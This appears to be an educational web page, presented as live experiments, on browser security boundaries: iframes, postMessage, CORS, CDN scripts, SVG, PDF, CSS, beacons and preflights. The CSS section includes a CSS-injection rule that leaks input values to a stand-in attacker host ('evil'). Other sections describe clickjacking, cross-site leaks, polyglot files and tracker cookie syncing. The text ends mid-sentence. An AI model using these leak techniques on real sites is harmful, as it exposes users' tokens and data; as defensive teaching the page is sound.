Browser boundaries
A web page is built from pieces of other sites: another page in an <iframe>, data from fetch(), a library from a CDN, images, fonts, SVG. For each piece the browser decides what your page may show, read, run or send across the line between one origin and another. This page maps those boundaries with live experiments. It starts with iframes: can the parent tell how long the child took to load, or that it is a 404? How do the two pages talk? What can iframes do that few people know about, including tracking you? Then the alternatives: fetch() and CORS, scripts and integrity from a CDN, no-cors, XMLHttpRequest, beacons and pings, preflights, SVG, PDF, CSS, older HTML in quirks mode, character encodings, blob: URLs and pages in base64. Finally the defences a site switches on itself: framing rules, sandbox, Content Security Policy, nosniff and SameSite cookies.
file:// path. Most experiments work, but the ones that load real pages need a web server to show HTTP status codes. Run python3 -m http.server in the repository folder and open it over http://localhost:8000/browser-boundaries/.1A window inside a window
The iframe element is a box in the parent's layout. What is inside the box is a separate browsing context: a full window object with its own document, its own global variables, its own Array and Object, its own event loop timers and its own back-and-forward entries. The parent reaches the child through iframe.contentWindow; the child reaches the parent through window.parent and the outermost page through window.top.
<!-- the whole child page lives in an attribute -->
<iframe srcdoc="
<h3>I am the child</h3>
<p>My window is not your window.</p>
<script>
document.write('parent === window? ' +
(parent === window))
</script>">
</iframe>
Whether the two windows can touch each other depends on one thing: the origin, meaning scheme + host + port. Same origin, and the parent can read and change anything in the child, and the child anything in the parent. Different origin, and a wall goes up.
postMessage(), setting location (navigate the other window, but never read it), length and frames[i], closed, focus(), blur(), close(). Reading document, variables or the URL throws a SecurityError.2Can the parent time the load, or tell that it is a 404?
Timing: yes. Note the time when you insert the iframe and listen for its load event. load fires when the child's document and everything it pulls in (images, styles, scripts, its own iframes) have finished. The parent's Resource Timing list also gets an entry with initiatorType: "iframe", and a cooperating child can send its own detailed timings with postMessage.
404: only if the child is on your own origin. The load event fires for a 404 page, a 500 page, a browser error page, a DNS failure and a page that refuses to be framed alike. The iframe error event does not fire for any of them. For a same-origin child you can read the status from its Navigation Timing (responseStatus) or just look inside its document. For a cross-origin child the reliable way is a handshake: a page you control sends a message when it starts, and no message within a few seconds means it failed.
Try it. Each button makes a fresh iframe, notes performance.now(), and then collects everything the parent is allowed to learn.
| Child | load event after | Parent can read it? | HTTP status the parent can learn | Handshake | Verdict |
|---|
Last child loaded:
Timing the load
const f = document.createElement('iframe');
f.src = url;
const t0 = performance.now();
f.onload = () =>
console.log(performance.now() - t0, 'ms');
document.body.append(f);
Same thread caveat: a same-origin child that runs a long script also delays your timers (see capability 5), so the number includes that wait.
The status of a same-origin child
f.onload = () => {
const nav = f.contentWindow.performance
.getEntriesByType('navigation')[0];
console.log(nav.responseStatus); // 200, 404…
};
responseStatus is new (Chromium 109+); where it is missing, look at the child's document.title or fetch the URL yourself.
The handshake for any child you control
// in the child
parent.postMessage({ type: 'hello' }, '*');
// in the parent
const ok = await Promise.race([
waitForMessage(f, 'hello'),
sleep(5000).then(() => false) ]);
This is how embedded widgets, payment forms and video players report that they are alive.
3How the parent and child talk
Yes, in several ways. Across origins the main tool is window.postMessage(): either side posts a structured-cloned value, the other side gets a message event that says which origin sent it. On the same origin they can also just call each other's functions and edit each other's DOM.
| Channel | Direction | Across origins? | What to know |
|---|---|---|---|
postMessage() | both | yes | Always check event.origin on receive and give a targetOrigin on send, so a navigated child can't overhear. Sends any structured-clonable value: objects, Maps, Dates, Blobs, typed arrays. |
MessageChannel | both | yes | Hand the child a MessagePort once with postMessage; from then on the two talk on a private line nobody else on the page can listen to. |
| Transferables | both | yes | List an ArrayBuffer, MessagePort, ImageBitmap or OffscreenCanvas as transfer, and it moves instead of being copied. Your copy becomes empty. |
| Direct access | both | no | iframe.contentDocument, contentWindow.someFunction(), parent.someFunction(), window.frameElement. Full power, same origin only. |
| Iframe size | parent → child | yes | Resizing the iframe fires resize and media-query changes inside the child. Some embeds use the width as a signal. |
URL #hash / query | parent → child | yes | The pre-2010 trick: the parent changes the child's URL fragment, the child watches hashchange. Query strings are how settings reach most embeds today (?autoplay=1). |
window.name | either, once | yes | Survives navigation within the frame, so it carried data across origins before postMessage. Browsers now clear it on cross-site top-level navigation. |
BroadcastChannel, storage events, SharedWorker | any to any | no | Reach every same-origin window, tab and frame, but storage partitioning splits them by the top-level site: a third-party frame on site A can't hear the same third party on site B. |
| A server | any | yes | Both pages talk to the same backend (fetch, WebSocket). Slow, but how cross-device sync works. |
Below is a live parent and child. The child is a srcdoc page, so it shares this page's origin; tick sandbox to give it an opaque origin of its own and watch which channels stop working.
Parent (this page)
Child (inside the iframe)
The iframe's height follows its content: the child measures itself with a ResizeObserver and posts its height, the usual way to get "auto-height" embeds. Press Make me taller in the child.
// parent: receive, and check who is talking
addEventListener('message', (e) => {
if (e.source !== frame.contentWindow) return; // which frame?
if (e.origin !== 'https://video.example') return; // which site?
handle(e.data);
});
// parent: send, and say who may receive it
frame.contentWindow.postMessage({ cmd: 'play' }, 'https://video.example');
// a private line
const { port1, port2 } = new MessageChannel();
frame.contentWindow.postMessage('init', '*', [port2]);
port1.onmessage = (e) => console.log('child says', e.data);
4Little-known capabilities
Things iframes do that surprise even people who use them every day. Most have a live demo.
1Every iframe is a separate JavaScript world
Each window has its own copy of every built-in: its own Array, Object, Promise. So an array made in the child is not instanceof Array in the parent. That is why Array.isArray() exists. Libraries also use the reverse: create a throwaway iframe to grab pristine built-ins (fetch, console.log) that the page may have monkey-patched.
A second surprise: an iframe with no src contains an about:blank document immediately, synchronously, on your origin. You can reach into it the moment it is in the DOM, before any load event.
2Moving an iframe in the DOM reloads it
Take an iframe out of the document and put it back somewhere else, and the browser throws away the child page and loads it again from scratch: video stops, form contents vanish, the child's state is gone. Chromium 133 added moveBefore(), which moves an element without that reset.
Slot A
Slot B
3iframes share your Back button
A tab has one joint session history. When a child navigates, even just its #hash, that adds an entry to the tab's history, and the browser's Back button goes back inside the iframe instead of leaving your page. To change a child's URL without adding an entry, use contentWindow.location.replace().
history.length = 4Cross-origin windows are not fully sealed
Even across the origin wall, the parent can count how many frames the child has (contentWindow.length), get handles to them, see whether it is closed, and navigate it. Counting frames sounds harmless, but it is a known cross-site leak: a site that opens your bank in a popup can tell from the frame count whether you are logged in. Below, the child is sandboxed (opaque origin) and contains a number of hidden iframes.
| Parent tries | Result |
|---|
5A same-origin child runs on your thread
Same-origin frames share the parent's main thread, so a child stuck in a long script freezes the parent too: no clicks, no timers, no repaint. A cross-site child usually runs in another process (site isolation) and can't. The test sends each child "be busy for 1 second" and measures the longest gap in the parent's own 10 ms timer.
6sandbox switches off powers one by one, allow switches devices on
An empty sandbox attribute removes almost everything: no scripts, no forms, no popups, no dialogs, an opaque origin (so no cookies or storage), no navigating the top page. Each allow-… token gives one power back. allow is a separate attribute (Permissions Policy) for features: camera, microphone, geolocation, fullscreen, clipboard, payment. A cross-origin child gets none of those unless the parent lists them.
Never combine allow-scripts and allow-same-origin for content from your own origin: the child can then reach frameElement and remove its own sandbox attribute. Tick both and the report shows it.
7Links and forms can aim at a frame by name
Give an iframe a name, and any link or form with target="that-name" loads into it. Before fetch existed, sites submitted forms into hidden iframes to upload files without leaving the page. A child page can even target its siblings by name.
8Clickjacking: a frame you can't see
A hostile page loads your site in an invisible iframe and lines up one of your buttons under a tempting button of its own. The click goes to the invisible frame, logged in as you. The defence is on the framed site: send Content-Security-Policy: frame-ancestors 'none' (or the older X-Frame-Options: DENY) and the browser refuses to show it in a frame at all. That is why github.com shows an error page in section 2.
9loading="lazy"
An off-screen iframe with loading="lazy" is not fetched until the user scrolls near it. For pages full of embeds (maps, videos, social posts) this is the cheapest speed-up there is, and it also means the third party does not learn about the visit until the embed comes into view.
10srcdoc inherits your origin, data: does not
srcdoc and about:blank children are same-origin with the parent; a data: URL child gets a fresh opaque origin. blob: URLs keep the origin of the page that made them. This page builds all its children with srcdoc.
11postMessage(msg, '/')
A target origin of '/' means "only if the receiver is my own origin". If the frame has navigated somewhere else, the browser silently drops the message. Try it with the sandboxed child in section 3: nothing arrives.
12Print only the frame
iframe.contentWindow.print() prints the child page alone, with its own print stylesheet. Receipts and labels are often printed this way from a hidden iframe.
13Off-screen frames are throttled, and know it
Browsers slow or pause timers and requestAnimationFrame in cross-origin frames that are scrolled out of view or hidden. A child can watch its own visibility with an IntersectionObserver, which is how ads prove they were "viewable".
14credentialless and csp
Chromium-only attributes. credentialless loads the child with no cookies and a throwaway storage, so it can't recognise the user. csp="…" asks the child to adopt a Content Security Policy, and it loads only if it agrees. This browser: .
15referrerpolicy
By default the child's server learns your page's origin (not the full URL) through the Referer header. referrerpolicy="no-referrer" sends nothing. Chromium and Safari also give the child location.ancestorOrigins, a list of every origin it is nested in.
16document.domain, the old escape hatch
a.example.com and b.example.com could both set document.domain = 'example.com' and become same-origin. It is deprecated and now off by default in Chromium (a page must opt in with Origin-Agent-Cluster: ?0).
5Yes, iframes are used for tracking
An iframe from a third party is a full page of that third party, loaded every time you visit a site that embeds it: an ad, a "like" button, a comment box, a video, a chat widget, an analytics or consent frame. Each load is a request to the third party's server carrying three things that make tracking possible:
- Its own cookie, the same one on every site that embeds it, as long as third-party cookies are allowed. Same cookie on two sites = same person.
- Where you are: the
Refererheader (by default only the origin since 2020, but many embeds are handed the full page URL in their query string anyway). - A running script that can read screen size, language, time zone, fonts and graphics quirks (fingerprinting), watch whether it is on screen, and see clicks and mouse movement inside its own box.
Iframes also do cookie syncing: an invisible frame from ad network A redirects through networks B, C and D, each of which reads its own cookie and records "A's user 7f3a is our user 91c2". That is how separate trackers merge their profiles of you.
Simulation: three sites, one tracker
The three sites below each embed a frame from tracker.example. Visit them in any order and watch what the tracker's database ends up knowing. This part is a simulation (no real third party is contacted); the rules are the ones browsers apply.
What browsers do about it
Safari blocks third-party cookies outright (since 2020). Firefox partitions them by top-level site (Total Cookie Protection, default since 2022). Brave blocks and partitions. Chrome has partitioned third-party localStorage, IndexedDB and the like since 2023, but still sends unpartitioned third-party cookies by default; it dropped its plan to phase them out. Sites can opt a cookie into partitioning with the Partitioned attribute (CHIPS), and an embed can ask for its real cookies back with document.requestStorageAccess().
What partitioning does not fix
Fingerprinting (no storage needed), sites handing the tracker an identifier they already know (your login email, hashed: the second checkbox above), bounce tracking through redirects, and the fact that the tracker still learns each page you visit even if it can't join them up.
What an embedded frame can see right now
This child is sandboxed with an opaque origin, like a stranger's frame. Everything it shows, it worked out by itself from inside its box; move the mouse over it and scroll it in and out of view.
6Alternatives: fetch(), CDN scripts and friends
An iframe shows another page; it does not hand it to you. To get another site's content as data, use fetch(), or XMLHttpRequest, or a library such as Axios that wraps them. The browser lets your script read the answer only when that server says so with CORS headers (Access-Control-Allow-Origin). No library, flag or mode: 'no-cors' gets around that.
Tags are different. <script src>, <img> and <link> load from any site without asking, which is why loading a library from a CDN just works. But they use what they load rather than letting you read it, and a script you load runs with all of your page's powers: the opposite of an iframe's isolation.
Why CORS exists: your browser carries your cookies and sits inside your network. If any page could fetch your webmail or your router's admin page and read the answer, every site you visit could. CORS protects the user's logged-in data, not the server: curl, Node.js and Python ignore it completely, because they carry nobody's cookies.
Fetch lab
Each button makes one real request from this page and shows what your JavaScript gets back. Open the browser's Network panel alongside to see what really went over the wire.
| Request | What the script gets | Status it can see | Body it can read |
|---|
A careful fetch()
async function getText(url) {
let res;
try { res = await fetch(url); }
catch (e) {
// no answer, or no CORS: you can't tell which
return null;
}
// a 404 or 500 does not throw
if (!res.ok)
throw new Error('HTTP ' + res.status);
return res.text();
}
What the other server must send
Access-Control-Allow-Origin: *
// * means anyone, but never with cookies.
// fetch(url, { credentials: 'include' }) needs:
Access-Control-Allow-Origin: https://you.example
Access-Control-Allow-Credentials: true
A request with a method other than GET, HEAD or POST, a custom header, or a JSON content type is "non-simple": the browser first sends an OPTIONS preflight to ask, and sends the real request only if the answer allows it. How a preflight works.
Loading code and media from a CDN
These load real files from cdn.jsdelivr.net, api.github.com and httpbin.org.
Classic <script src>
Needs no CORS: the browser runs whatever comes back. Add integrity (Subresource Integrity) and the browser refuses a file whose hash differs, so a hacked CDN can't swap the code. It checks that one file only; see what it covers.
<script src="https://cdn.jsdelivr.net/npm/
dayjs@1.11.13/dayjs.min.js"
integrity="sha384-DpVxUeeB…"
crossorigin="anonymous"></script>
ES modules: import()
Module scripts do need CORS. CDNs like jsDelivr, unpkg and esm.sh send Access-Control-Allow-Origin: *, so this works; the same import from a site without the header fails.
const { default: dayjs } = await import(
'https://cdn.jsdelivr.net/npm/dayjs@1.11.13/+esm');
JSONP, the pre-CORS trick
The server wraps its JSON in a call to a function you name, and you load it as a script. It needs no CORS, but only GET works, and you run whatever code the server sends. GitHub's API still supports it.
window.gotUser = (r) => console.log(r.data);
s.src = 'https://api.github.com/users/octocat'
+ '?callback=gotUser';
Script errors are hidden from you
A cross-origin classic script that throws shows only "Script error." to window.onerror, so you can't read another site's code through its error messages. With crossorigin="anonymous" and CORS from the CDN you get the real message. The file here is a Node.js module that fails in a browser.
Images: show yes, read no
An <img> from any site displays. Draw it on a canvas and the canvas becomes tainted: reading its pixels throws. With crossOrigin = 'anonymous' and CORS from the server, the pixels are yours.
A proxy on your own server
When the other site sends no CORS headers, fetch it from your backend instead: no browser, no CORS. Restrict which hosts it may reach, or anyone can use it to scan your internal network (server-side request forgery).
// Node.js (Express)
const ALLOWED = new Set(['example.com']);
app.get('/proxy', async (req, res) => {
const u = new URL(req.query.url);
if (!ALLOWED.has(u.hostname))
return res.sendStatus(403);
const r = await fetch(u);
res.status(r.status)
.type(r.headers.get('content-type'))
.send(await r.text());
});
Which tool for which job
| Technique | Your script can read the content? | Needs CORS from the other server? | What to know |
|---|---|---|---|
<iframe> | no | no | Shows the whole page, isolated. The other site can refuse with frame-ancestors. The right choice for running code you don't trust. |
fetch(), XMLHttpRequest, Axios | only with CORS | yes | Libraries are wrappers around the same browser rules; none of them bypass CORS. More on XHR below. |
fetch(url, { mode: 'no-cors' }) | no | no | Gives an opaque response: status 0, empty body. Good only for fire-and-forget requests and for service workers that cache files they never read. More below. |
Classic <script src> | it runs | no | Full access to your page. Pin a version and add integrity. More below. |
<script type="module">, import() | it runs | yes | Major CDNs send the header, so it rarely bites. |
| JSONP | as a function call | no | The server must support a callback parameter. GET only. Legacy; prefer CORS. |
<img>, <video>, <audio> | only with CORS | to show: no to read pixels: yes | Without CORS a canvas you draw them on becomes tainted. Image size still leaks: naturalWidth is readable. |
<link rel="stylesheet"> | only with CORS | to apply: no to read rules: yes | The styles apply; sheet.cssRules throws for a cross-origin sheet. |
Web fonts (@font-face) | it draws | yes | Fonts always need CORS, a rule added at the font foundries' request to stop hotlinking. |
navigator.sendBeacon() | no | no | Sends data, never reads a reply. Survives the page closing, which is why analytics use it. More below. |
window.open() | no | no | A popup has the same wall as a cross-origin iframe, plus opener; can't be refused with frame-ancestors. |
| Proxy on your own server | yes | no | Your server is not a browser. Limit the destinations, and remember the other site sees your server's IP, not the user's cookies. |
| Browser extension | yes | no | With host permissions an extension's background script fetches any site, with the user's cookies. |
Node.js, Deno, Python, curl | yes | no | CORS exists only in browsers. |
A closer look
Classic <script src>: no CORS, so can I load JavaScript from any website?
Mostly yes, and that is exactly the danger. The browser fetches the file without asking the other site and runs it as part of your page. CORS does not apply because your script never reads the file; it only runs it. The limits:
- It must be JavaScript, served as JavaScript. A file sent as
text/plainortext/htmlwithX-Content-Type-Options: nosniffis refused. That is whyraw.githubusercontent.comcan't be used as a CDN, and why CDNs such as jsDelivr exist. - You get its effects, not its text. You can't read the source code, and a JSON API or an HTML page loaded as a script gives you nothing. JSONP works only because the server deliberately wraps its data in a function call.
- The other server can refuse.
Cross-Origin-Resource-Policy: same-sitetells the browser not to hand the file to other sites. Some sites check theRefererheader to stop hotlinking. - Your own page can refuse. A Content Security Policy such as
script-src 'self' cdn.jsdelivr.netblocks scripts from every other host, even ones injected by an attacker. - It runs with all of your page's powers. It can read the page, form fields as they are typed,
localStorageand cookies not markedHttpOnly, and send them anywhere. Whoever controls that file controls your page, today and every time it changes. In 2024 thepolyfill.iodomain changed owner, and the script that over 100 000 sites loaded from it started sending some of their visitors to scam sites. - The other site sees your visitors. Every page view requests the file, with the user's IP address and your origin in
Referer. That is how third-party analytics scripts work.
So: load scripts only from sources you trust, pin an exact version, add integrity (and know what it covers), or copy the file to your own server.
What integrity covers, and what happens when a dependency changes
Exactly one file. The browser hashes the bytes of the one response the tag asked for and compares them with the attribute. Anything that script loads afterwards (its imports, import(), scripts it adds, fetch(), workers, wasm, CSS, fonts) is not checked, unless it carries a hash of its own.
- Dependencies bundled into the file are covered.
dayjs.min.jsand most "browser" or UMD builds contain all the code they need. A published npm version never changes, sodayjs@1.11.13stays the same bytes however its dependencies move on, and the hash keeps matching. - Dependencies loaded at run time are not. ES module builds often import each package as a separate file. jsDelivr's
react-dom@18.3.1/+esmstarts withimport … from "/npm/react@18.3.1/+esm"and"/npm/scheduler@0.23.2/+esm": a hash on react-dom says nothing about those two. - When the hashed file changes, it fails safe. The browser refuses to run it: the page loses the library, but nobody can slip code in. That happens with an unpinned URL (
dayjs@1,dayjs) after a new release, and with files the CDN generates, such as+esmbundles and auto-minified files, which can be rebuilt with a newer bundler. jsDelivr writes "Do NOT use SRI with dynamically generated files!" at the top of them. A file the package itself ships (/dist/…min.js) is the safe kind to hash. - Cross-origin integrity needs CORS. To hash a file the browser must be allowed to read it, so the tag needs
crossorigin="anonymous"and the CDN must sendAccess-Control-Allow-Origin. - A whole module tree can be covered with the
integritysection of an import map, which gives a hash for every module URL, however it is reached.<link rel="modulepreload" integrity="…">does the same one module at a time.
<script type="importmap">
{ "integrity": {
"https://cdn.jsdelivr.net/npm/react-dom@18.3.1/+esm":
"sha384-…",
"https://cdn.jsdelivr.net/npm/react@18.3.1/+esm":
"sha384-…",
"https://cdn.jsdelivr.net/npm/scheduler@0.23.2/+esm":
"sha384-…" } }
</script>
In practice: one bundled, version-pinned file with integrity; or bundle the code yourself and serve it from your own site; or let your build tool write an import map with hashes for every module.
Each button imports react-dom in a fresh child page with its own import map. First the parent reads react-dom's import lines and hashes today's files, as a build tool would.
SVG that pulls in fonts and images from another server
It depends on how the SVG gets into the page. The same small SVG file is shown below in three ways. It contains an @import of a Google font, an <image> from httpbin.org and a <script> that turns the background green.
- SVG as an image is sealed. In
<img>, a CSSbackground-imageor a favicon, it loads nothing from any server, not even your own, apart fromdata:URLs inside it, and runs no script. An image must not be able to track its viewers or run code. That is why a logo with a web font shows the wrong font as an<img>: turn the text into paths, or embed the font as adata:URL. - SVG as a document is an iframe. In
<object>,<embed>or<iframe>, or opened on its own, it loads everything and runs its scripts. From another site, it runs as that site, behind the same wall. - Inline
<svg>is part of your page. Its<image>follows the<img>rules, its fonts need CORS like any web font, your Content Security Policy (img-src,font-src) applies, and scripts added withinnerHTMLdon't run. Its<style>is not scoped: it styles your whole page.
<use>is same-origin only. An icon sprite on a CDN is refused even though the CDN sends CORS headers. Copy the sprite to your own site, or inline the symbols.- Uploaded SVGs are a classic security hole. Opened directly from your domain, the script inside runs as your site, with its cookies. Serve uploads from a separate domain, send
Content-Security-Policy: script-src 'none'with them, or only ever show them through<img>. - No
integrityhere. Fonts, images and<use>files have no hash attribute. A swapped image or font can't run code in your page, though; a swapped SVG in<object>can only act inside its own frame.
PDF: not HTML, but scripts, forms and actions of its own
A PDF can't contain a web page that the browser runs. It has its own world instead: JavaScript (Adobe's Acrobat scripting), form fields, links, embedded files, and actions such as "submit this form to a URL" or "open this URL". The PDF below is built by this page. It has one form field and a script that writes into it which viewer ran it and whether it can see window or fetch.
- Firefox turns every PDF into HTML. Its viewer, pdf.js, is a PDF reader written in JavaScript: pages are drawn on canvases, the text is a layer of HTML elements, and form fields become real
<input>s. It runs at Firefox's internalresource://pdf.jsaddress, not at the address the PDF came from. The PDF's own script runs in a separate sandbox (QuickJS compiled to WebAssembly) with an Acrobat-like API, no page and no network: in a test,submitForm()andapp.launchURL()to a local server never arrived. - Chrome's viewer (PDFium) runs in a separate process and supports fewer scripts; in the Chromium build this page was tested in, none ran. A same-origin parent can open the frame's
contentDocument, but finds only an empty wrapper page (in Firefox it isnull). Chromium does not show a PDF in a sandboxed iframe at all; Firefox does. - So in a browser a PDF's script never gets your page's origin or cookies. Desktop readers such as Acrobat are another matter: a much larger script API, launch actions, embedded files and connections home after a prompt. That is where the history of PDF malware lives.
- The real browser risk is a file that is two things. PDF readers skip junk before the
%PDFheader, so one file can be a valid PDF and a valid HTML page at once (a polyglot). If your site serves an uploaded ".pdf" astext/html, or lets the browser guess the type, the HTML part runs as your site. Defences: the rightContent-Type,X-Content-Type-Options: nosniff,Content-Disposition: attachment, a separate domain for uploads. The last two tiles show one file both ways. - pdf.js inside your own page runs as you. Sites that show PDFs with the
pdfjs-distlibrary run it in their own origin, so a pdf.js bug is a hole in your site. In 2024 (CVE-2024-4367) a crafted font made pdf.js run arbitrary JavaScript on every site using a vulnerable version; fixed in pdf.js 4.2.67 and Firefox 126, andisEvalSupported: falsecloses that path. - Links in PDFs are a favourite phishing route, because people trust a document more than a web page. History: around 2007 Adobe Reader's browser plugin ran JavaScript put after the
#of any PDF link, inside the site hosting the PDF. Plugins are gone.
CSS that imports from another server
CSS can't run scripts, but it can pull in other stylesheets with @import and images and fonts with url(), and those requests can leak what is on your page.
- Using a stylesheet versus reading it. A cross-site stylesheet applies without asking anyone. Reading its rules from script (
sheet.cssRules) needs CORS:crossorigin="anonymous"plus the server's header. The same rule as for images and scripts. @importandurl()load without CORS, like an<img>: shown, not readable. Fonts are the exception and always need CORS. A relativeurl()is resolved against the stylesheet's own address, not your page's.integritycovers the<link>file only.@importhas no hash attribute, and neither do fonts or images inurl().- The type is enforced. A cross-site stylesheet must be served as
text/css, or it is ignored.
- Injected CSS can read your page. If an attacker can add CSS (user themes, or HTML that was filtered for scripts but not styles), rules like
input[value^="4"] { background: url(https://evil/?4) }report the value one character at a time; this has been used to steal hidden security tokens. It sees only thevalueattribute, which follows typing only on pages that copy keystrokes into it, as many React pages do. - Fonts split by character (
unicode-range) reveal which characters appear, because only the needed files are fetched. - Defences: a Content Security Policy
style-srclimits where styles may come from;img-srcandfont-srclimit where leaks can go. - Email: a remote image in a mail, from CSS or
<img>, tells the sender you opened it; Gmail fetches images through its own proxy for that reason. History: old Internet Explorer ran script from CSS withexpression(), old Firefox with-moz-binding; and:visitedmay now change only colours that scripts can't read, after it was used to sniff browsing history.
Five ways to load the same stylesheet
Each row loads modern-normalize.min.css into a fresh child page and reports whether it applied (it sets line-height on <html>) and whether the page's script may read its rules.
| Stylesheet | Applied? | Script can read its rules? |
|---|
Two leaks without JavaScript
httpbin.org stands in for the attacker's server. The page's own script below only mirrors what you type into the value attribute and lists the requests; the leaking is done by CSS.
Attribute selectors
Ten rules, one per digit: #cssPin[value^="4"] { background-image: url(https://httpbin.org/status/204?first-digit=4) }. Type a PIN.
A font split by character
The font Leak has one file per letter, each with its own unicode-range. Type a word; only its letters are fetched.
fetch(url, { mode: 'no-cors' }): a request you may not look at
no-cors does not switch CORS off. It tells the browser: "I know I'm not allowed to read the answer; send the request anyway and give me a sealed envelope." You get an opaque response: type: "opaque", status: 0, ok: false, no headers and an empty body. A 200, a 404 and a 500 look identical.
- Only GET, HEAD and POST. Any other method throws.
- Only "simple" headers. Others, such as
Authorization, are silently dropped, and aContent-Typemust betext/plain, a form encoding or multipart, so a JSON POST is not possible. - Network failures still throw. A missing domain or a refused connection rejects the promise as usual, so you do learn whether a server answered at all.
- Cookies: like any
fetch, the other site's cookies are sent only withcredentials: 'include', and then only if third-party cookies are allowed.
What it is for: fire-and-forget requests (a ping, a form post) to a server that will never send CORS headers, and service workers that cache.put() files from a CDN and later hand them to an <img> or <script>, which may use them. Chrome counts each cached opaque response as about 7 MB of storage quota, because its real size must stay secret.
The common mistake: a CORS error appears, someone adds mode: 'no-cors', the error goes away, and then await res.json() throws a SyntaxError ("Unexpected end of input") because the body is empty. The real fix is CORS headers on the other server, or a proxy.
navigator.sendBeacon(): send and forget, even as the page closes
navigator.sendBeacon(url, data) queues a small POST request and returns at once: true if the browser accepted it, false if not, usually because the data is too big. The browser delivers it in the background, even if the user closes the tab or goes to another page, when an ordinary request would be cancelled.
- Always a POST. The data can be a string (sent as
text/plain), aBlob,FormDataorURLSearchParams. - No reply. There is no promise and no response; you never learn whether the server got it.
- Small. All beacons and
keepalivefetches still in flight from a page may total about 64 KB. - No CORS check for a string,
FormDataorURLSearchParams, likeno-cors. ABlobtypedapplication/jsonmakes it a real CORS request with a preflight. The target site's cookies go along, where third-party cookies are allowed. - When to send: on
visibilitychangetohidden. Theunloadevent often never fires on phones, and it stops the page from being kept in the back/forward cache. - The modern twin:
fetch(url, { method: 'POST', body, keepalive: true })also outlives the page, and lets you set headers and read the reply if the page is still there.
Used for analytics, "time on page", error reports and performance measurements from real users. It is also how trackers report your last moments on a page; <a ping="url"> does the same for link clicks.
document.addEventListener('visibilitychange', () => {
if (document.visibilityState === 'hidden')
navigator.sendBeacon('/log', JSON.stringify(stats));
});
XMLHttpRequest Level 2: the fetch() before fetch()
XHR is older than its name suggests and still has one thing fetch() lacks. Microsoft added it to Internet Explorer 5 in 1999 for Outlook's web mail; other browsers copied it, and it started the "Ajax" era. Level 2 (W3C drafts, 2008 to 2012) added what made it modern: cross-origin requests with CORS, progress events, FormData, binary responseTypes (arraybuffer, blob, json), timeout and withCredentials. The levels were then merged into one WHATWG XMLHttpRequest Living Standard, so "Level 2" is just XHR today.
- Upload progress.
xhr.upload.onprogressreports bytes sent.fetch()can report download progress by reading the body stream, but has no upload progress (Chromium can stream a request body withduplex: 'half', a workaround, not an event). - A listener changes the request. Adding any
xhr.uploadlistener to a cross-origin request forces a CORS preflight, because the progress events would tell the page how fast the other server reads. The same request without a listener goes straight out. - The same CORS rules as
fetch(). Blocked responses givestatus: 0and anerrorevent with no reason.withCredentials = trueiscredentials: 'include'. - Synchronous mode still exists.
open(method, url, false)freezes the page until the answer arrives; it is deprecated on the main thread, logs a warning, and may not setresponseTypeortimeout. timeoutis built in; withfetch()you writesignal: AbortSignal.timeout(ms).
<a ping>: a link click that sends a POST
Yes, it is as odd as it sounds. <a href="…" ping="https://tracker.example/click"> follows the link as usual and, in the background, sends a POST to every URL listed in ping. The body is the four letters PING, typed text/ping, and two headers say where the click came from and went to. So a plain link, which normally makes only a GET, makes a POST too.
- Why it exists: sites already track clicks by sending links through a redirect (
/url?q=…) or by catching the click in JavaScript.pingmakes that visible in the markup, keeps the real URL inhref, and does not slow the navigation down. - No CORS, no reply: it is sent in
no-corsmode like a beacon, with the ping server's cookies where third-party cookies are allowed. Ping-From(the page) is left out when the page is HTTPS and the ping goes to another origin;Ping-To(the link target) is always sent.- Browsers disagree. Chromium and Safari send pings, with no setting to turn them off; Firefox ignores the attribute unless
browser.send_pingsis turned on inabout:config. In a test, headless Firefox sent nothing.
What the server received when a Chromium 156 page on http://localhost:8765 was clicked (trimmed):
POST /ping-cross HTTP/1.1
Content-Type: text/ping
Content-Length: 4
Ping-From: http://localhost:8765/browser-boundaries/_pingtest.html
Ping-To: http://localhost:8765/index.html
Origin: http://localhost:8765
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
PING
The frame starts as a "Hello world" srcdoc page, same origin as this one, so the parent can read it. Each link navigates the frame and pings httpbin.org/anything/ping-demo. The two are independent: the ping does not change the frame, the link target alone decides whether the parent can still read it, and the navigation never waits for the ping (try the slow ping server). The log times both from the click; Chromium lists the ping in Resource Timing with initiatorType: "ping".
Preflight: the browser asks before it sends
A preflight is a question the browser asks a server, on your page's behalf, before sending a request that server might not expect. Your script calls fetch() once. The browser holds that request back, first sends a short OPTIONS request that only describes it ("from this origin, may I send a PUT with an X-PINGOTHER header?"), and sends the real request only if the answer says yes. Your script never sees the preflight: it gets either the real response or a TypeError.
- 0your script
fetch('https://api.example/items', { method: 'PUT', headers: { 'X-PINGOTHER': 'pingpong' }, body })One call, one request as far as the script knows. - The preflight: the browser does this by itself, and your script can neither see nor change it
- 1 →browser to serverOPTIONS /items
Origin: https://you.example
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: x-pingother"May a page from you.example send this?" No body, no cookies. - 2 ←server to browser204 No Content
Access-Control-Allow-Origin: https://you.example
Access-Control-Allow-Methods: GET, PUT
Access-Control-Allow-Headers: x-pingother
Access-Control-Max-Age: 3600"Yes, and you need not ask again for an hour." Anything else means no: step 3 is never sent andfetch()rejects withTypeError: Failed to fetch.
- 3 →browser to serverPUT /items
Origin: https://you.example
X-PINGOTHER: pingpong
(the body)The request your script asked for. - 4 ←server to browser200 OK
Access-Control-Allow-Origin: https://you.exampleThe usual CORS check on the response: only now may the script read it.
Why ask first?
Before CORS, a page could make the browser send another site only what an HTML form or an <img> could: a GET or a POST with a form-style body. Servers were built on that: "a DELETE, or a request with a custom header, can only come from our own app". Letting any page fire a DELETE with custom headers at your bank would have broken them overnight. So for anything a form couldn't send, the browser asks first, and an old server that has never heard of CORS answers without the Access-Control-Allow-* headers, which counts as no. The preflight protects servers from requests; the check in step 4 protects the user's data from your page.
When is there a preflight?
Only for cross-origin fetch() and XHR that are not "simple". Simple means GET, HEAD or POST, with no headers beyond Accept, Accept-Language, Content-Language, Range and a Content-Type of text/plain, application/x-www-form-urlencoded or multipart/form-data, exactly what a form can send. Everything else is preflighted: PUT, DELETE, PATCH, a JSON body (application/json), an Authorization header, any custom header, an XHR with an upload listener, and an OPTIONS request of your own. Same-origin requests never are.
Where X-PINGOTHER fits: it does not use OPTIONS itself. In MDN's example the script sends an ordinary POST with a made-up header, X-PINGOTHER: pingpong (and an XML body). The name means nothing; it was picked because no browser counts it as safe. That one header is what makes the browser send an OPTIONS preflight first. The real POST carries X-PINGOTHER; the preflight only names it, in Access-Control-Request-Headers.
- The preflight carries no body and no cookies, only
